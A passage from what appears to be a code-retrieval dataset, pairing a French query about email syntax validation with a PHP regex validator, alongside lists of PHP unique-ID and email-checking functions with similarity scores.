[ "function getUniqueID() {\r\n\t\treturn $this->uniqueID;\r\n\t}", "public function getUniqueId();", "public function getUniqueId();", "public function getUniqueId();", "public function getUniqueID()\n {\n return $this->uniqueID;\n }", "public function getUniqueID()\n {\n return $this->uniqueID;\n }", "abstract public function getUniqueId();", "abstract public function unique_id();", "function UniqueID(){\n\t\treturn uniqid ('Depari', true);\n\t}", "public function generateUniqueId(){\n //PHPs uniquid function is time based and therefor guessable\n //A stright random MD5 sum is too long for email and tends to line break causing usability problems\n //So we get unique through uniquid and we get random by prefixing it with a part of an MD5\n //hopefully this results in a URL friendly short, but unguessable string\n $prefix = substr(md5(mt_rand()*mt_rand()),rand(0,24), rand(6,8));\n $this->uniqueId = \\uniqid($prefix);\n }", "public function getUniqueId()\n {\n return $this->unique_id;\n }", "public function generateUniqueId()\n {\n //PHPs uniquid function is time based and therefor guessable\n //A stright random MD5 sum is too long for email and tends to line break causing usability problems\n //So we get unique through uniquid and we get random by prefixing it with a part of an MD5\n //hopefully this results in a URL friendly short, but unguessable string\n $prefix = substr(md5(mt_rand() * mt_rand()), rand(0, 24), rand(6, 8));\n $this->uniqueId = \\uniqid($prefix);\n }", "function getUniqueID(){\n\t\treturn $this->module.'_'.$this->ID;\n\t}", "private static function get_unique_id(){\n\t\tself::$u_id+=1;\n\t\treturn (string) self::$u_id;\n\t}", "public function getUniqueId()\n {\n return '';\n }", "function uniqueid ()\r\n{\r\n $stamp = date(\"Ymdhis\");\r\n $c = uniqid(rand(), true);\r\n return $stamp.\"-\".$c;\r\n}", "protected function getUniqueId() {\n return -1; // Placeholder return for now\n }", "protected function getUniqId()\n {\n return uniqid('', true);\n }", "static function makeID() {\n return uniqid();\n }", "public static function generateUniqueId()\n {\n $request = Request::createFromGlobals();\n $leftHandString = time(). '-';\n $rightHandString = '@' . $request->server->get('SERVER_NAME');\n $fillValue = bin2hex(get_current_user()) . '-' . mt_rand(1000000,9999999);\n\n $fillLength = self::MAX_LENGTH_PER_LINE - strlen($leftHandString) - strlen($rightHandString);\n if (strlen($fillValue) > $fillLength){\n $fillValue = substr($fillValue, 0, $fillLength);\n }\n\n $uniqueIdCandidate = $leftHandString . $fillValue . $rightHandString;\n $uniqueId = substr($leftHandString . $fillValue . $rightHandString, (strlen($uniqueIdCandidate) > self::MAX_LENGTH_PER_LINE) ? strlen($uniqueIdCandidate)-self::MAX_LENGTH_PER_LINE : 0);\n\n return $uniqueId;\n }", "public function getUniqueId()\n {\n return $this->uniqueId;\n }", "public function getUniqueId()\n {\n return $this->_uniqueId;\n }", "public function generateUID()\n {\n do {\n $key = md5(uniqid(mt_rand(), true));\n } while ($this->objectUidExists($key));\n\n return $key;\n }", "protected function generateId() {\n return $this->id = md5(uniqid());\n }", "protected function _createUniqueId()\n {\n $id = '';\n $id .= function_exists('microtime') ? microtime(true) : (time() . ' ' . rand(0, 100000));\n $id .= '.' . (function_exists('posix_getpid') ? posix_getpid() : rand(50, 65535));\n $id .= '.' . php_uname('n');\n\n return $id;\n }", "public function uniqueId(): string\n {\n return $this->person->id;\n }", "static function uniqueID()\n {\n return substr(str_pad(str_replace('.', '', microtime(true)), 12, 0), 0, 12);\n }", "protected function _uniqueId()\n {\n $t = explode(\" \", microtime());\n\n return sprintf(\n '%08s-%08s-%04s-%04x%04x',\n $this->_ipToHex(),\n substr(\"00000000\" . dechex($t[1]), -8),\n substr(\"0000\" . dechex(round($t[0] * 65536)), -4),\n mt_rand(0, 0xffff),\n mt_rand(0, 0xffff)\n );\n }", "public function getUniqueId() {\n return $this->id;\n }", "public static function genNewUniqueId() {\n\t\treturn uniqid(mt_rand(), true);\n\t}", "function createSurferID() {\n srand((double)microtime() * 10000000);\n // Paranoia mode: Repeat until an unused id is found\n // (which a correct implementation of uniq!!id() should\n // grant anyway ...)\n do {\n $id = (string)md5(uniqid(rand()));\n } while ($this->existID($id, TRUE));\n return $id;\n }", "function generate_unique_id() {\n\t/*\n\tGenerates random binary ID. \n\tReturns the ID.\n\t*/\n\t$onetwo = [\"&zwj;\", \"&zwnj;\"];\n\t$uniqueid = '';\n\tfor ($i = 0; $i < 8; $i++) {\n\t\t$uniqueid .= $onetwo[rand(0, 1)];\n\t}\n\n\treturn $uniqueid;\n}", "protected function generateUniqueId()\n\t{\n\t\t// generate unique numbers for order id\n\t\t$orderID = hexdec(bin2hex(openssl_random_pseudo_bytes(5)));\n\t\t$orderIdExist = Order::find($orderID);\n\t\t// if exist append the id of d existed copy to new one to make it unique\n\t\tif ($orderIdExist) {\n\t\t\t$orderID = $orderID . '' . $orderIdExist->id;\n\t\t}\n\t\treturn $orderID;\n\t}", "public function getUniqueId()\n {\n return $this->getParent()->getUniqueId() . \"_cg\" . $this->getId();\n }", "public static function generateID()\n {\n static $sequence = 0;\n list($mt, $tm) = explode(\" \", microtime());\n return strftime('%Y%m%d@%H%M%S', $tm )\n .sprintf(\".%03d\",(int)($mt*1000))\n .'/'\n .sprintf(\"%08x\",mt_rand())\n .':'\n .sprintf(\"%04x\", ++$sequence );\n }", "public function generate_unique_id() {\n\n\t\t\trequire_once ABSPATH . 'wp-includes/class-phpass.php';\n\t\t\t$hasher = new PasswordHash( 8, false );\n\t\t\treturn md5( $hasher->get_random_bytes( 32 ) );\n\n\t\t}", "public function uniqueId()\n {\n return $this->transaction->id;\n }", "public static function uid() {\n\t\t$length = 10;\n\t\t$characters = \"0123456789abcdefghijklmnopqrstuvwxyz\";\n\t\t$uid = \"\";\n\t\t\n\t\tdo {\n\t\tfor ($i=0; $i<$length; $i++)\n\t\t\t$uid .= $characters[mt_rand(0, strlen($characters) - 1)];\n\t\t} while (array_key_exists($uid, self::$uids));\n\t\t\n\t\treturn $uid;\n\t}", "function Uuid()\n {\n $unid = uniqid() . str_replace('-', '', Guid());\n $uuid = substr($unid, 0, 8) . '-' . substr($unid, 8, 4) . '-' . substr($unid, 12, 4) . '-' . substr($unid, 16, 4) . '-' . substr($unid, 20, 12);\n return $uuid;\n }", "private function generateId()\n {\n $startHex = dechex((int)$this->startTime);\n $uuid = bin2hex(random_bytes(12));\n\n return \"1-{$startHex}-{$uuid}\";\n }", "final public static function uniqueIDGenerator(){\n $letters = range('A', 'Z');\n shuffle($letters);\n return( md5(time() . implode('', $letters) . rand()));\n }", "public function uniqueId(): string\n {\n return strval($this->user->id);\n }", "private function uuid(){\n return uniqid('');\n }", "function _createId( )\n\t{\n\t\t$agent = $_SERVER['HTTP_USER_AGENT'];\n\t\t$id = md5( $agent . uniqid(dechex(rand())) . $_SERVER['REMOTE_ADDR'] );\n\t\treturn $id;\n\t}", "private function generateUID(){\n if(function_exists(\"random_bytes\")){\n return md5(bin2hex(random_bytes(16)) . time());\n } else if(function_exists(\"openssl_random_pseudo_bytes\")){\n return md5(bin2hex(openssl_random_pseudo_bytes(16)) . time());\n }\n return md5(uniqid() . time());\n }", "function generateUid()\n{\n $uid = uniqid(md5(mt_rand()), true);\n $formid = hash(\"sha256\", $uid);\n return $formid;\n}", "public function getId()\n {\n if (!$this->id) {\n $this->id = md5(uniqid(rand(), true));\n }\n return $this->id;\n }", "function gen_id() {\n\t\t$this->id = get_uid();\n\t\t$this->mk_paths($this->id);\n\t}", "public static function generateID()\n {\n return mt_rand();\n }", "function getNewId();", "public static function createUniqueID(): int\n {\n $number = mt_rand(1000000000, 9999999999); // better than rand()\n \n if (self::uniqueIdExists($number)) {\n return self::createUniqueID();\n }\n \n return $number;\n }", "public function id() {\n\t\tif ( null === $this->_id ) {\n\t\t\t$this->_id = sha1( mt_rand() . microtime( true ) . mt_rand() );\n\t\t}\n\n\t\treturn $this->_id;\n\t}", "protected function make_uid()\n\t{\n\t\t$date = date('Ymd\\THisT');\n\t\t$unique = substr(microtime(), 2, 4);\n\t\t$base = 'aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPrRsStTuUvVxXuUvVwWzZ1234567890';\n\t\t$start = 0;\n\t\t$end = strlen( $base ) - 1;\n\t\t$length = 6;\n\t\t$str = null;\n\t\tfor( $p = 0; $p < $length; $p++ )\n\t\t{\n\t\t\t$unique .= $base{mt_rand( $start, $end )};\n\t\t}\n\t\treturn $date . '-' . $unique . ($this->num_to_letter(++$this->uid_counter));\n\t}", "protected function getUid() {\n\t\treturn UUIDUtil::getUUID();\n\t}", "private function generateId() {\n $this->setId(AgaviToolkit::uniqid(\"ldap_conn_\"));\n }", "private function make_id () {\n // http://sourceforge.net/projects/phunction/\n return sprintf('%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));\n }", "public function uniqueId()\n {\n return $this->contact->id;\n }", "public function generateNewId()\n {\n return Uuid::uuid4();\n }", "function generateNewId(){\n\t\t$id = null;\n\t\t//while ( $this->getSessionData($id) !== null ){\n\t\t\t$id = rand(0,100000);\n\t\t//}\n\t\treturn $id;\n\t}", "protected function getID()\n {\n return rand();\n }", "function unique_id($extra = 'c')\n{\n\t$rand_seed = md5(md5(rand(1000000, 9999999) . microtime()) . $extra);\n\n\treturn substr($rand_seed, 4, 16);\n}", "function _gen_uniquememberid()\r\n\t{\r\n\t\t$lastmem_id = $this->_get_config_param('LAST_MEMBERID_ALLOTED');\r\n\t\t$member_id = $lastmem_id+1;\r\n\t\t$this->_set_config_param('LAST_MEMBERID_ALLOTED',$member_id);\r\n\t\t// check if member id is already alloted \r\n\t\tif($this->db->query(\"select count(*) as t from pnh_member_info where pnh_member_id = ? \",$member_id)->row()->t)\r\n\t\t\treturn $this->_gen_uniquememberid();\r\n\t\telse\r\n\t\t\treturn $member_id;\r\n\t}", "private function createGuid()\n {\n // section 127-0-1-1--751a8510:1443b2e74af:-8000:0000000000000C14 begin\n static $guid = '';\n $uid = uniqid(\"\", true);\n $data = mt_rand();\n $data .= isset($_SERVER['REQUEST_TIME']) ? $_SERVER['REQUEST_TIME'] : mt_rand();\n $data .= isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : mt_rand();\n $data .= isset($_SERVER['LOCAL_ADDR']) ? $_SERVER['LOCAL_ADDR'] : mt_rand();\n $data .= isset($_SERVER['LOCAL_PORT']) ? $_SERVER['LOCAL_PORT'] : mt_rand();\n $data .= isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : mt_rand();\n $data .= isset($_SERVER['REMOTE_PORT']) ? $_SERVER['REMOTE_PORT'] : mt_rand();\n $hash = strtoupper(hash('ripemd128', $uid . $guid . md5($data)));\n $guid = mt_rand(1,10) . \n substr($hash, 0, 8) . \n mt_rand(1,10) .\n substr($hash, 8, 4) .\n mt_rand(1,10) .\n substr($hash, 12, 4) .\n mt_rand(1,10) .\n substr($hash, 16, 4) .\n mt_rand(1,10) .\n substr($hash, 20, 12) .\n mt_rand(1,10);\n return $guid; \n // section 127-0-1-1--751a8510:1443b2e74af:-8000:0000000000000C14 end\n }", "protected final function _getUniqueId()\n {\n // Because this method is not static, this counter will start at zero\n // for each class.\n static $counter = 0;\n\n $counter++;\n\n return get_class($this).$counter;\n }", "function celerity_generate_unique_node_id() {\n static $uniq = 0;\n $response = CelerityAPI::getStaticResourceResponse();\n $block = $response->getMetadataBlock();\n\n return 'UQ'.$block.'_'.($uniq++);\n}", "public static function generateID() {\n do {\n $id = str_random(8);\n } while (self::find($id) != null);\n\n return $id;\n }", "protected function generateId()\n {\n }", "public function generateTicketCode()\n {\n return uniqid($this->ID);\n }", "public function createUid()\n {\n $uid = uniqid();\n while (AutoEvent::where('uid', '=', $uid)->count() > 0) {\n $uid = uniqid();\n }\n $this->uid = $uid;\n }", "function pulcherrimum_unique_id($prefix = '')\n {\n static $id_counter = 0;\n if (function_exists('wp_unique_id')) {\n return wp_unique_id($prefix);\n }\n return $prefix . (string) ++$id_counter;\n }", "protected function generateId() : string\n {\n return '';\n\n }", "function generate_id() {\n $this->last_image_id ++;\n return $this->last_image_id;\n }", "public function genid()\n {\n $date = new DateTime();\n $date->setTimestamp(now());\n $time_based_name = $date->format('YmdHis');\n return $time_based_name . rand(1, 9);\n }", "function getUniqueId(string $name): string;", "public function testUniqueId() {\n\t\t$result = _::uniqueId();\n\t\t$this->assertEquals(1, $result);\n\t\t$result = _::uniqueId();\n\t\t$this->assertEquals(2, $result);\n\n\t\t// test getting a unique id with a prefix\n\t\t$result = _::uniqueId('test');\n\t\t$this->assertEquals('test3', $result);\n\t\t$result = _::uniqueId('another');\n\t\t$this->assertEquals('another4', $result);\n\t}", "static private function getId($prefix = NULL) {\n return uniqid($prefix);\n }", "public function getUniquePublicId() {\r\n\r\n\t\t\t//Seed the random generator\r\n\t\t\tmt_srand($this->makeSeed());\r\n\r\n\t\t\t//Alphanumeric upper/lower array\r\n\t\t\t$alfa = \"1234567890qwrtypsdfghjklzxcvbnm\";\r\n\t\t\t$id = \"\";\r\n\r\n\t\t\t//Loop through and generate the random public id\r\n\t\t\tfor($i = 0; $i < 32; $i ++) {\r\n\t\t\t $id .= $alfa[mt_rand(0, strlen($alfa)-1)];\r\n\t\t\t}\r\n\r\n\t\t\t//If there is a duplicate, run this function recursively\r\n\t\t\tif(!$this->isPublicIdUnique($id)) {\r\n\t\t\t\t$id = $this->getUniquePublicId();\r\n\t\t\t}\r\n\r\n\t\t\t//Return the hash\r\n\t\t\treturn $id;\r\n\t\t}", "protected static function generateTransactionId()\n {\n return uniqid(self::TRANSACTION_ID_PREFIX);\n }", "protected function generateSessionId()\n\t{\n\t\t//\\Log::info('custom session id created');\n\t\t//return sha1(uniqid('', true).Str::random(25).microtime(true));\n\n\n\t\t// use our own ID generation mechanism\n\t\t$id_hash = str_random(64);\n\n\t\treturn $id_hash;\n\n\t}", "function generateRandID(){\r\n \t\treturn md5(generateRandStr(16));\r\n \t\t}", "function getUniqueID($sequence)\n{\n\tstatic $unique = array();\n\tif (!isset($unique[$sequence]))\n\t{\n\t\t$unique[$sequence] = 0;\n\t}\n\treturn ++$unique[$sequence];\n}", "public function generateId(){\n\n global $verificationId,$id;\n $verificationId = true;\n $id = 0;\n while($verificationId == true){\n $id=$this->idgenerate();\n if(is_null(User::find($id))) {\n $verificationId = false;\n }\n }\n return $id;\n\n }", "function generateRandID(){\n \t\treturn md5(generateRandStr(16));\n \t\t}", "public function generate_insert_id() {\n $result = $this->db2->query(\"SELECT insert_id FROM `insert_header_all` ORDER BY insert_id DESC LIMIT 0,1\");\n if ($result->num_rows() > 0) {\n $data = $result->row();\n $insert_id = $data->insert_id;\n//generate user_id\n $insert_id = str_pad( ++$insert_id, 5, '0', STR_PAD_LEFT);\n return $insert_id;\n } else {\n $insert_id = 'insert_1001';\n return $insert_id;\n }\n }", "function wp_unique_id($prefix = '')\n {\n }", "private function genErrID()\n {\n return uniqid();\n }", "public function generarCustomID(){\n return md5(\"$this->id $this->updated_at\");\n }", "public function getUniqueObjectIdentifier();", "private function generateTransactionID() {\n $pattern = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $maxlen = strlen($pattern) - 1;\n\n $id = '';\n for ($i = 1; $i <= 6; $i++)\n $id .= $pattern{mt_rand(0, $maxlen)};\n\n return $id;\n }", "function generate_uid($length=8) {\r\n\t$allChars = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','_');\r\n\tfor($i=0;$i<$length;$i++) \r\n\t\t$uid.=$allChars[rand(0,62)];\r\n\treturn $uid;\r\n}", "public function getId() : Uuid;", "public function obtenerID();", "protected function generateIdByName(): string\n {\n return \"auto_id_\" . $this->name;\n }", "public function getUid() {}", "public function getUid() {}", "function vcex_get_reponsive_unique_id( $unique_id = '' ) {\n\treturn $unique_id ? '.wpex-' . $unique_id : uniqid( 'wpex-' );\n}", "public function getUid ();", "public function getUid() {}", "public function getUid() {}", "public function getUid() {}" ]
[ "0.83989775", "0.83801484", "0.83801484", "0.83801484", "0.8329729", "0.8329729", "0.82325965", "0.81881756", "0.8179402", "0.80901086", "0.80776227", "0.8071184", "0.8066673", "0.80358744", "0.7965072", "0.7953185", "0.7942098", "0.7930546", "0.7911386", "0.7886457", "0.788085", "0.7846483", "0.78281176", "0.77853215", "0.7776649", "0.776121", "0.7748757", "0.7704502", "0.76755995", "0.76340044", "0.76064", "0.75948536", "0.75618863", "0.7547573", "0.75336695", "0.75305", "0.75283426", "0.75272363", "0.7520499", "0.7517251", "0.7505896", "0.74987006", "0.74788904", "0.7465212", "0.74529463", "0.7432909", "0.7402285", "0.7400458", "0.7387207", "0.7378894", "0.737132", "0.73601437", "0.734875", "0.734854", "0.733191", "0.7329738", "0.73260266", "0.7313774", "0.73067844", "0.7304262", "0.72948766", "0.7287539", "0.7275419", "0.72496563", "0.7249407", "0.72441965", "0.7235834", "0.7224206", "0.7219733", "0.72065705", "0.719304", "0.718929", "0.71665376", "0.7134128", "0.71316296", "0.709006", "0.708174", "0.70775133", "0.7063095", "0.70550567", "0.7050378", "0.70416623", "0.7037191", "0.70334655", "0.70311266", "0.70262414", "0.7025375", "0.701632", "0.7013761", "0.70085907", "0.6995974", "0.6993734", "0.6992377", "0.6991571", "0.6991084", "0.69904596", "0.6989444", "0.69892716", "0.69892716", "0.69892716" ]
0.82959586
6
Verifie la synthase d'une adresse email
function VerifieAdresseMail($adresse) { $Syntaxe='#^[\w.-]+@[\w.-]+\.[a-zA-Z]{2,6}$#'; if(preg_match($Syntaxe,$adresse)) return true; else return false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function verifica_email ($email)\r\n{\r\n\t$retorno = true;\r\n\r\n\t/* Aqui estaria el codigo para verificar \r\n\tla direccion de correo */\r\n\r\n\treturn $retorno;\r\n}", "public function isEmail();", "function VerifierAdresseMail($adresse)\n{\n $Syntaxe='#^[\\w.-]+@[\\w.-]+\\.[a-zA-Z]{2,6}$#';\n if(preg_match($Syntaxe,$adresse))\n return true;\n else\n return false;\n}", "public function hasEmail(): bool;", "function emailOk ($email) {\r\n return filter_var($email, FILTER_VALIDATE_EMAIL);\r\n }", "public function verifyEmail()\n {\n $this->verified = true;\n\n $this->save();\n\n $this->activationToken->delete();\n }", "static function confirm_account_email() {\n $model = \\Auth::$model;\n $user = $model::requested();\n\n if (!$user->nil()) {\n if ($user->validate()) {\n $code = confirm_account_email($user->email);\n\n if ($code === -1) {\n flash('Sua conta já está confirmada, basta acessá-la.', 'warning');\n } else if ($code == true)\n flash(\"Enviamos um e-mail para <small><b>$user->email</b></small> com as instruções para você confirmar sua conta.\");\n else\n flash('Não foi possível lhe enviar o e-mail. Por favor, tente novamente mais tarde.', 'error');\n\n go('/');\n } else {\n flash('Verifique os dados do formulário.', 'error');\n }\n }\n\n globals('user', $user);\n }", "private function verificarEmail(){\n\t \n\t \t\t//Verifica se a requisição é via AJAX\n\t \t\tif(HelperFactory::getInstance()->isAjax()){\n\t \t\t\n\t \t\t\t //Solicita a verificação do E-mail\n\t\t\t\t $this->Delegator('ConcreteCadastro', 'verificarEmail',$this->getPost());\t \t\t\t \n\t \t\t}\t \n\t }", "public function validUniqueMail() {\n $em = $this->getDoctrine()->getManager();\n $Person = $em->getRepository('UNOEvaluacionesBundle:Person')->findOneBy(array('email' => $this->_datPerson[email]));\n if ($Person) {\n #si existe el mail, por lo que hay q pedirle q ingrece otro\n return false;\n }else{\n return true;\n }\n\n }", "public function hasVerifiedEmail();", "function emailfil($emal){\n $email = 'leon@sin castilla.com';\n\n if (filter_var($email, FILTER_VALIDATE_EMAIL)) {\n echo 'email '.$email.' correcto';\n }else{\n echo 'email '.$email.' incorrecto';\n }\n}", "function kiemtra_email($email)\n {\n if($this->default_model->getInfoID($this->_table,array(\"Email\" => $email))!=TRUE){ // ko ton tai $email\n return TRUE;\n }\n else{\n $this->form_validation->set_message(\"kiemtra_email\",sprintf($this->lang->line('error_kiemtra_email'),$email));\n return FALSE;\n }\n }", "function is_email($emailadres)\r\n{\r\n // Eerst een snelle controle uitvoeren: \r\n // een e-mailadres moet uit minimaal 7 tekens bestaan:\r\n if (strlen($emailadres) < 7) \r\n {\r\n return false;\r\n }\r\n // Daarna een controle met een reguliere expressie uitvoeren:\r\n if( ! ereg(\"^[_a-zA-Z0-9-]+(\\.[_a-zA-Z0-9-]+)*@([a-zA-Z0-9-]+\\.)+([a-zA-Z]{2,4})$\", $emailadres) ) \r\n {\r\n return false;\r\n } \r\n\r\n return true; \r\n}", "function verify_email()\n\t{\n\t\tlog_message('debug', 'Account/verify_email');\n\t\t$data = filter_forwarded_data($this);\n\t\t$data['msg'] = get_session_msg($this);\n\t\tlog_message('debug', 'Account/verify_email:: [1] post='.json_encode($_POST));\n\t\t# skip this step if the user has already verified their email address\n\t\tif($this->native_session->get('__email_verified') && $this->native_session->get('__email_verified') == 'Y'){\n\t\t\tredirect(base_url().'account/login');\n\t\t}\n\n\t\t# otherwise continue here\n\t\tif(!empty($_POST['emailaddress'])){\n\t\t\t$response = $this->_api->post('account/resend_link', array(\n\t\t\t\t'emailAddress'=>$this->native_session->get('__email_address'),\n\t\t\t\t'baseLink'=>base_url()\n\t\t\t));\n\n\t\t\t$data['msg'] = (!empty($response['result']) && $response['result']=='SUCCESS')?'The verification link has been resent':'ERROR: The verification link could not be resent';\n\t\t}\n\n\t\t$data = load_page_labels('sign_up',$data);\n\t\t$this->load->view('account/verify_email', $data);\n\t}", "public function checkEmail() {\n $result = $this->model->checkEmail($_POST);\n if($result) {\n echo \"true\"; \n } else {\n echo \"false\";\n }\n }", "function comprobar_email($email){\n\t\tif(preg_match('/^[A-Za-z0-9-_.+%]+@[A-Za-z0-9-.]+\\.[A-Za-z]{2,4}$/', $email)){ \n\t\t\treturn 0; \n\t\t}else\n\t\t\treturn 1;\n\t}", "public function verificarClienteEmail(ICliente $cliente);", "public function check_email() {\n\n\t\t$email = Input::post('email');\n \n\t\tif(is_string($email)) {\n\t\t\t\n\t\t\t$this->_password_reset->_unlocked_me($email);\n\t\t\t$row = $this->_password_reset->_validate_email($email);\n\t\t\t$res = $this->_password_reset->getData($email);\n\t\t\t$_res = $this->_password_reset->_check_if_reg($email);\n\t\t\t$ques = $this->_question->getquestion($res['question_id']);\n\n\t\t\tif($row > 0) {\n\t\t\t\tif($_res > 0) {\n\t\t\t\t\tif($res['status'] != 0) {\n\t\t\t\t\t\t$_arr = array('msg' =>Constant::EMAIL_CONFIRM, 'question' => $ques['security_question']);\n\t\t\t\t\t\techo json_encode($_arr);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$_arr = array('msg' =>Constant::LOCKED);\n\t\t\t\t\t\techo json_encode($_arr);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$_arr = array('msg' =>Constant::NOT_REGISTERED);\n\t\t\t\t\techo json_encode($_arr);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\theader(\"HTTP/1.0 404 Not Found\");\n\t\t\t\texit;\n\t\t\t}\n\n\t\t} else {\n\t\t\theader(\"HTTP/1.0 404 Not Found\");\n\t\t\texit;\n\t\t}\n\t}", "function is_email_address_unsafe($user_email)\n {\n }", "public function checkEmail($sender,$param)\r\n\t{\r\n\t\t$userRecord=TblUsers::finder()->findBy_email($this->Email->Text);\r\n\r\n\t\tif($userRecord != null)\r\n\t\t\t$param->IsValid = false;\r\n\t}", "function verificarExistenciaVariavel($email)\n{\n if(isset($email) && !empty($email)){\n verificarEmail($email);//Chamando a função para verificar se o e-mail está corrreto\n }else {\n echo \"Você esqueceu de preencher o email!\";\n }\n}", "function email_ok($email,$new=FALSE){\n if(empty($email)) return FALSE;\n if(!preg_match($this->pat_email,$email)) return FALSE;\n if(!$new) return TRUE;\n foreach($this->domains as $umd)\n if($umd->newemail_ok($email)>0) return FALSE;\n return TRUE;\n }", "function virustotalscan_valid_email($email) \r\n{\r\n\tif (function_exists(\"filter_var\") && !filter_var($email, FILTER_VALIDATE_EMAIL)) {\r\n return false;\r\n }\r\n else {\r\n // daca functia exista atunci se returneaza true\r\n if (function_exists(\"filter_var\")) return true;\r\n else {\r\n // altfel inseamna ca functia nu exista si trebuie sa utilizam o alta metoda\r\n return eregi(\"^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,3})$\", $email);\r\n }\r\n }\r\n}", "public function verify_email($email){\n $query = $this->db->where('01_email', $email)\n ->get('register_01');\n if(sizeof($query->result_array())>0){\n return true;\n }\n else{\n return false;\n }\n }", "public function checkMail()\n {\n $mail = htmlspecialchars($_POST['email']);\n $mail2 = htmlspecialchars($_POST['confirmation_mail']);\n if (!empty($_POST['email']) &&\n !empty($_POST['confirmation_mail'])) {\n if ($mail == $mail2) {\n if (filter_var($mail, FILTER_VALIDATE_EMAIL)) {\n $isMail = $this->isMail($mail);\n if ($isMail == 0) {\n return true;\n } else {\n return $message = 'Votre email n\\'est pas valide!';\n }\n } else {\n return $message = 'Votre adresse mail n\\'est pas valide';\n }\n } else {\n return $message = 'Vos adresses mails ne correspondent pas';\n }\n } else {\n return $message = 'Tous les champs ne sont pas complétés';\n }\n }", "public function verify_email($email){\n $sql = \"UPDATE users SET verified = 1 WHERE email = :email AND deleted !=0\";\n $stmt = $this->conn->prepare($sql);\n \n $result = $stmt->execute(\n [\n 'email' => $email\n ]\n );\n\n if($result){\n return true;\n }else{\n return false;\n }\n }", "public function check_email() {\n\t\t$email = urldecode($_GET['email']);\n\n\t\t$result = $this->Member_Model->check_email_if_exists($email);\n\n\t\tif ($result > 0) {\n\t\t\techo json_encode(false);\n\t\t} else {\n\t\t\techo json_encode(true);\n\t\t}\n\t}", "function checkmail($youremail)\n{\n if (ereg('^[-!#$%&\\'*+\\\\./0-9=?A-Z^_`a-z{|}~]+'.'@'.'[-!#$%&\\'*+\\\\/0-9=?A-Z^_`a-z{|}~]+\\.'.\n '[-!#$%&\\'*+\\\\./0-9=?A-Z^_`a-z{|}~]+$', $youremail))\n {\n\t return true;\n }\n else\n {\n\t return false;\n }\n}", "function verify_email($email) // Colorize: green\n { // Colorize: green\n return isset($email) // Colorize: green\n && // Colorize: green\n is_string($email) // Colorize: green\n && // Colorize: green\n filter_var($email, FILTER_VALIDATE_EMAIL); // Colorize: green\n }", "public function _check_email_exists($email = ''){\n\t\t\n\t}", "public function checkEmail($email) // provjera dali email vec postoji \r\n {\r\n $query = $this->db->select('*')->from($this->userTbl)->where('email', $email)->get();\r\n $result=$query->result();\r\n $num_rows=$query->num_rows();\r\n\r\n if($num_rows == 0) // ako nema emaila koji podudaraju vraca \"false\"\r\n return false;\r\n return true;\r\n }", "public function checkemailconfirmed($email)\n {\n $this->db->query('SELECT * FROM user WHERE email = :email');\n $this->db->bind(':email', $email);\n $row = $this->db->single();\n $chek = $row->confirmed;\n if($chek == 1)\n {\n return true;\n }else{\n return false;\n }\n }", "function vEmail( $email )\r\n\t\t{\r\n\t\t return filter_var( $email, FILTER_VALIDATE_EMAIL );\r\n\t\t \r\n\t\t}", "public function Change_Email_Validation($sorce){\r\n\r\n $email = $sorce['email'];\r\n\r\n if ($email == '')\r\n {\r\n $this->_flag = false;\r\n\r\n Session::put('e_email', 'Empty e-mail!');\r\n }\r\n\r\n else if(self::check_Email($email)){\r\n\r\n $this->_flag = false;\r\n\r\n Session::put('e_email', 'Incorrect e-mail!');\r\n }\r\n\r\n else if(self::check_If_Email_Exists($email)){\r\n\r\n $this->_flag = false;\r\n\r\n Session::put('e_email', 'E-mail is the same!');\r\n }\r\n }", "function checkmail($youremail)\n{\n if (ereg('^[-!#$%&\\'*+\\\\./0-9=?A-Z^_`a-z{|}~]+'.'@'.'[-!#$%&\\'*+\\\\/0-9=?A-Z^_`a-z{|}~]+\\.'.\n '[-!#$%&\\'*+\\\\./0-9=?A-Z^_`a-z{|}~]+$', $youremail)) \n {\n\t return true;\n } \n else \n {\n\t return false;\n }\n}", "function check_email($emaildddress)\n{\n\t$goodchars = '^[A-Za-z0-9\\._-]+@([A-Za-z][A-Za-z0-9-]{1,62})(\\.[A-Za-z][A-Za-z0-9-]{1,62})+$';\n\n\t$isvalid = true;\n\tif(!ereg($goodchars,$emaildddress))\n\t{\n\t\t$isvalid = false;\n\t}\n\treturn $isvalid;\n}", "function is_email($addr)\n{\n $addr = strtolower(trim($addr));\n $addr = str_replace(\"&#064;\",\"@\",$addr);\n if ( (strstr($addr, \"..\")) || (strstr($addr, \".@\")) || (strstr($addr, \"@.\")) || (!preg_match(\"/^[[:alnum:]][a-z0-9_.-]*@[a-z0-9][a-z0-9.-]{0,61}[a-z0-9]\\.[a-z]{2,6}\\$/\", stripslashes(trim($addr)))) ) {\n $emailvalidity = 0;\n } else {\n $emailvalidity = 1;\n }\n return $emailvalidity;\n}", "public function verificarEmail($email){\n\n\t\t$id = $this->db->query(\"select id from users where email ='\".$email.\"'\");\n\t\tif($id->fetch()){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "function validaemail($emailForm){\n if (!ereg('^([a-zA-Z0-9.-])*([@])([a-z0-9]).([a-z]{2,3})',$emailForm)){\n $mensagem='E-mail Inv&aacute;lido!';\n return $mensagem;\n }\n else{\n //Valida o dominio\n $dominio=explode('@',$emailForm);\n if(!checkdnsrr($dominio[1],'A')){\n $mensagem='E-mail Inv&aacute;lido!';\n return $mensagem;\n }\n else{return true;} // Retorno true para indicar que o e-mail é valido\n }\n }", "public function testMyGmailAddressIsEvaluatedAsTrue()\n {\n $this->assertTrue(EmailValidator::validate(\"[email protected]\"));\n }", "public function markEmailAsVerified();", "public function isCheckEmail()\n 